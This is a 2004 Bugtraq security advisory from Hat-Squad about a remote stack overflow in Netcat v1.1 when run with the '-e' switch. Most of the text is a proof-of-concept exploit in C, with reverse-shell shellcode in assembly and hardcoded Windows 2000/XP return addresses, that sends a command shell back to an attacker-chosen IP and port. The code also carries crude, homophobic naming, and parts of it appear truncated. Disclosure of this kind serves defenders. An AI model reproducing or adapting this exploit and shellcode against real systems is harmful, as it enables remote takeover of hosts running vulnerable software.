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[HAT-SQUAD] NetCat Remote Critical Vulnerability, Poc included
From: Hat-Squad Security Team <bugtraq () hat-squad com>
Date: 27 Dec 2004 17:57:12 -0000

December 26, 2004
Hat-Squad Advisory: Remote buffer overflow in Netcat TCP/IP Swiss Army Knife
Product: Netcat - nc11nt.zip
Vendor Url: http://www.securityfocus.com/tools/139/scoreit
Version: Netcat v1.1
Vulnerability: Remote stack overflow in the DNS control part
Release Date: 26 December, 2004
Vendor Status:
Informed on 10 November 2004
Response: 11 November 2004
No fix

The program 'netcat' is an advanced form of the Telnet command when used in a hackers hands. Netcat is a simple Unix 
utility which reads
and writes data across network connections, using TCP or UDP protocol. It is designed to be a reliable "back-end" tool 
that can be used
directly or easily driven by other programs and scripts. At the same time, it can also be used as a network debugging 
and exploration tool,
since it can create almost any kind of connection you would need and has several interesting built-in capabilities.
Standard input is normally sent to the host, and anything that comes back across the connection is sent to standard 
This continues indefinitely, until the network side of the connection shuts down.
Netcat can also function as a server, by listening for inbound connections on arbitrary ports and then doing the same 
reading and writing.
1. Stack based Buffer Overflow:
Due to a boundary check bug in the DNS part, sending a client command with more than
256 bytes will cause a stack buffer overflow.
This vulnerability can compromise several tools working without port listener as the
the set of tools "uw-imapd" (www.washington.edu/imap/), loaded with netcat , this is tested wulnerable.
Read the PoC code if you need more informations on this vulnerability.

Proof of Concept Code:
      Netcat v1.1, "-e" Switch, Remote Buffer Overflow Exploit v0.1

  Homepage..........: http://www.securityfocus.com/tools/139/scoreit
  Affected versions.: v1.1
  Fix...............: Actually none, Hobbit is warned 1 month+ ago, and looks like
          to not act, we let him to spread a backdoor :)
  Risk..............: Highly critical.
                        -Almost everything loaded as "nc ... -e ..." is vulnerable
      -Educational tools such as the uw-imapd (http://www.washington.edu/imap/) contains no port listener,
      if it's loaded with netcat (ie: nc -L -p 143 -t -e imapd.exe
                                               25  -t -e pop3d.exe etc..vulnerable..)
         this small example show you the large impact of this hole.
      -Tools build on netcat , I guess are vulnerable , such as the netcat with
      authentification or others tools based on netcat without a security check on src.
      -Next time you run netcat -e , be sure of what you run because as said Hobbit,
      the "-e" switch is really DANGEROUS!! :DDD
  Compilation.......: 101_ncat.cpp ......... Win32 (MSVC,cygwin)
                      101_ncat.c ........... Linux (FreeBSD,etc..)
  Greetings.........: Nima Majidi, Behrang Fouladi (cool teammates ;p)
                      DiabloHorn, kimatrix (KD-Team guys)
                      Nicolas Waisman, MMiller(skape), H.D Moore, BJWever (for the help)
       Brett Moore (for all help and specially there
       for suggesting me that way of MSVCRT.system call
                               ; call system()
                             mov eax,1656E64h  ; mov cmd + 01010101 to eax
                             sub eax,01010101h ; sub 01010101
                             push eax ; Push cmd on stack with our null byte :)
                             push esp ; Location to cmd
                             call ebp ; Call system()
                      via that way you can push on the stack "\x00"cmd without
       breaking your payload.
       Because in the public shellcode that he published on mailinglist
           ; Call system()
        push  20646D63h  ; Push cmd on stack, null exists from above
        push  esp    ; Location to cmd
        call  ebp    ; Call system()
          Sure it's smaller to push direclty "\x20"cmd but
       MSVCRT.system was also grabbing invalid unicode chars
       before "\x20"cmd including esp pointing to cmd (windows bug ?:>)(on w2k sp4 server).
       Else to bypass a bad char , I do a small change ,adding 6 nop,
       to kick out "\x0A" bugging there for netcat and prolly more.
       This to finally say that the size of the shellcode is now 220 bytes instead
       of 205 (still awesome for a reversecmd generic win32 shellcode)
       Tested working on W2k SP4,XP all SP. Excellent job by Brett Moore wich I throw all credits
       because this shellcode is the brain of that exploit ;)

  Extra.............: !All tests were made on nc.exe from http://www.securityfocus.com/tools/139/scoreit!
                      !All tests were made loading netcat: nc -L -p 143 -t -e c:\imapd.exe!
                      (hoping the processus wont change if you load differently netcat, I dont think, else update 
                      !See in the code if you need the shellcode in ASM format, really useful peace of code, thanx to 
bmoore and me!
       !Don't use ip with #0 as '' , this will break the payload.
  Bug discovery.....: class101
  Exploit code......: class101 at www.hat-squad.com - dfind.kd-team.com - #n3ws EFnet
  Quizz.............: Wich crew is enough stupid to spread perl worm codes ?
                K _ O _ i _
                   easy ;>
#include <stdio.h>
#include <string.h>
#include <time.h>
#ifdef WIN32
#include "winsock2.h"
#pragma comment(lib, "ws2_32")
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
//   GENERIC callback cmd execution shellcode
//   by Brett Moore @ Security-Assessment.com
//   205 bytes + 8 bytes to bypass null byte problem spoke ealier. bmoore
//             + 6 nop added to avoid bad char "\x0A". class101
//             + 1 bytes of CMP&JMP instruction added to fix an important bug. class101
//                 (shellcode was spawning a shell if you use it locally,
//                 but access violation trying to spawn a shell on remote ip, now fixed.)
//             = 220 bytes
char scode[] =

;********************** Christmas Shells***************************************
; Callback Shell.
; Directly set std handles and call system()
; 220 (DCh) bytes
; its not code, its antic0de
; and it works now too %-)
; Left it in tasm format.
; tasm32 -ml /m5 bmoore.asm
; tlink32 -Tpe -c -x bmoore.obj ,,, import32
;*********************************** Christmas Shells***************************************
; Jimminy jellicas its been jimplemented.
;  Oddity,Dsp,Shammah,Santa Claus and the rest of the loco locals
;  All the o/s peeps who know whats what.
; Tested working on Win2k SP4 Server,Pro and WinXP SP1a Pro Eng.
.model flat, stdcall
extrn ExitProcess:PROC
extrn WSAStartup:PROC
extrn WSACleanup:PROC
wsadescription_len equ 256
wsasys_status_len equ 128
WSAdata struct
wVersion dw ?
wHighVersion dw ?
szDescription db wsadescription_len+1 dup (?)
szSystemStatus db wsasys_status_len+1 dup (?)
iMaxSockets dw ?
iMaxUdpDg dw ?
lpVendorInfo dw ?
WSAdata ends
wsadata WSAdata <?>
; Winsock + copy to stack code
 push    offset wsadata
 push    0101h
 call    WSAStartup
 or      eax, eax
 jz      winsock_found
 jmp     codeend
 mov ebx,offset realstart
 sub esp,400h
 mov eax,esp
 mov cl,byte ptr [ebx]
 mov byte ptr [eax],cl
 inc eax
 inc ebx
 cmp ebx,offset codeend
 jle Copyit
 jmp esp
; This is the start of the shell code
 jmp over_data
 sockdat db 02h,01h,00h,065h
         db 07fh,00h,00h,01h
hashes db 01h
 dw 364Ah
 db "MSVCRT",01
 dw 422Ah
 dw 8AD4h
 db "WS2_32",01
 dw 817Ch
 dw 4E2Ch
    push 0ACC3575Fh
 call esp
 mov  esi,7ffdf00ch
 push  dword ptr [esi]
 mov  esi,[eax + 1ch]
 mov  edx,[eax + 08h]
 push -8
 lea ebx,[edi-8]
 push  esp
 pop  ebp
 mov ecx,dword ptr [edx + 3ch]
 mov  esi,dword ptr [ecx + edx + 78h]
 lea  esi,dword ptr [esi + edx + 1ch]
 mov  cl,3
 add  eax,edx
 push  eax
 loop  short StoreAddress
 dec  ebx
 mov  esi,dword ptr [ebp - 8]
 xor  eax,eax
 push  eax
 push  eax
    add  eax,edx
 xor  ecx,ecx
 add  cx,word ptr [eax]
 add  cl,byte ptr [eax]
 inc  eax
 cmp  byte ptr [eax],01
 jge  hashy
 pop  eax
 inc  eax
 cmp  cx,[ebx]
 jne  Search
 pop  esi
 xchg  esi,eax
 dec  esi
 shl     esi,1
    add     esi,dword ptr [ebp - 0ch]
    shl     eax,2
    add     eax,dword ptr [ebp - 4h]
 xchg  esi,eax
    add     eax,edx
 dec  ebx
 cmp  byte ptr [ebx],01h
 jne short SearchStart
 dec  byte ptr [ebx]
 sub  ebx,06h
 cmp  byte ptr [ebx-1],01h
 je  short Done_Finding
 push  ebx
 call  dword ptr [edi + ebp]
 xchg  edx,eax
 push  -16
 dec  ebx
 jne  short LookupFunctions
 xchg  eax,ebp
 call  [EDI - 10h]
 xor  ecx,ecx
 push ecx
 push ecx
 push ecx
 push ecx
 inc  ecx
 push ecx
 inc  ecx
 push  ecx
 call [EDI - 08h]
 xchg  ecx,edi
 pop  edi
 add  edi,18h
 dec ebx
 dec byte ptr [ebx]
 dec ebx
 push ebx
 push ebx
 push   eax
 call [ecx - 0ch]
 mov eax,1656E64h
 sub eax,01010101h
 push eax
 push esp
 call ebp
 call    WSACleanup
    end     start
static char payload[1000];
char jmpebx[]="\x73\x1c\x57\x7c"; file://JMP EBX - kernel32.dll - Win2k SP4 Server,Pro English
char popopret[]="\xb1\x2c\xc2\x77"; file://POP,POP,RET - msvcrt.dll - WinXP SP2,SP1a,SP1 Pro English - I finally found 
out XP exploitation ;<
char jmp1[]="\xeb\x07\x90";        file://JMP 9 bytes down
char jmp2[]="\x90\x90\x90\xe9\x07\xff\xff\xff";  file://long JMP up
char gay[]="\x4b\x2d\x4f\x54\x69\x4b"; file://giving bl0wjob for free :>

#ifdef WIN32
 WSADATA wsadata;
void ver();
void usage(char* us);
int main(int argc,char *argv[])
 unsigned long gip;
 unsigned short gport;
 if ((argc!=6)||(atoi(argv[1])<1)||(atoi(argv[1])>2)){usage(argv[0]);return -1;}
#ifndef WIN32
#define Sleep  sleep
#define SOCKET  int
#define closesocket(s) close(s)
 if (WSAStartup(MAKEWORD(2,0),&wsadata)!=0){printf("[+] wsastartup error\n");return -1;}
 int ip=htonl(inet_addr(argv[2])), port=atoi(argv[3]), sz, sizeA, sizeB,  sizeC, c, b, a;
 char *target, *os;
 memcpy(&scode[6], &gip, 4);
 memcpy(&scode[4], &gport, 2);
 if (atoi(argv[1]) == 1){target=jmpebx;os="Win2k SP4 Server English\n[+]            Win2k SP4 Pro.   English";}
 if (atoi(argv[1]) == 2){target=popopret;os="WinXP SP2  Pro. English\n[+]            WinXP SP1a Pro. English\n[+]       
     WinXP SP1  Pro. English";}
 SOCKET s;fd_set mask;struct timeval timeout; struct sockaddr_in server;
 if (s==-1){printf("[+] socket() error\n");return -1;}
 printf("[+] target(s): %s\n",os);
 connect(s,( struct sockaddr *)&server,sizeof(server));
  case -1: {printf("[+] select() error\n");closesocket(s);return -1;}
  case 0: {printf("[+] connect() error\n");closesocket(s);return -1;}
   printf("[+] connected, constructing the payload...\n");
#ifdef WIN32
   for (a=0;a<sizeA;a++){strcat(payload,"\x90");}
   for (b=0;b<sizeB;b++){strcat(payload,"\x90");}
   for (c=0;c<sizeC;c++){strcat(payload,"\x90");}
   if (send(s,payload,strlen(payload),0)==-1) { printf("[+] sending error, the server prolly rebooted.\n");return -1;}
#ifdef WIN32
   printf("[+] size of payload: %d\n",sz);
   printf("[+] payload send, look at your listener, you should get a shell\n");
   return 0;
#ifdef WIN32
 return 0;

void usage(char* us)
 printf("USAGE: 101_ncat.exe Target VulnIP VulnPORT GayIP GayPORT\n");
 printf("TARGETS:                               \n");
 printf("      [+] 1. Win2k SP4  Server English  (*)\n");
 printf("      [+] 1. Win2k SP4  Pro.   English  (*)\n");
 printf("      [+] 2. WinXP SP1  Pro.   English  (*)\n");
 printf("      [+] 2. WinXP SP1a Pro.   English  (*)\n");
 printf("      [+] 2. WinXP SP2  Pro.   English  (*)\n");
 printf("NOTE:                               \n");
 printf("      The exploit reverse a cmd to GayIP:GayPORT :>\n");
 printf("      A wildcard (*) mean Tested.\n");
void ver()
 printf("                                                           \n");
 printf("==========Netcat v1.1, The TCP/IP Swiss Army Knife===========\n");
 printf("======\"-e\" Switch, Remote Buffer Overflow Exploit=========\n");
 printf("======coded by class101=============[Hat-Squad.com 2004]=====\n");
 printf("                                                           \n");


Discovery and Proof Of Concept Exploit by class101 (class101 () hat-squad com)
Greetings to Nima Majidi and Behrang Fouladi

The original advisory could be found at http://www.hat-squad.com/en/000142.html 

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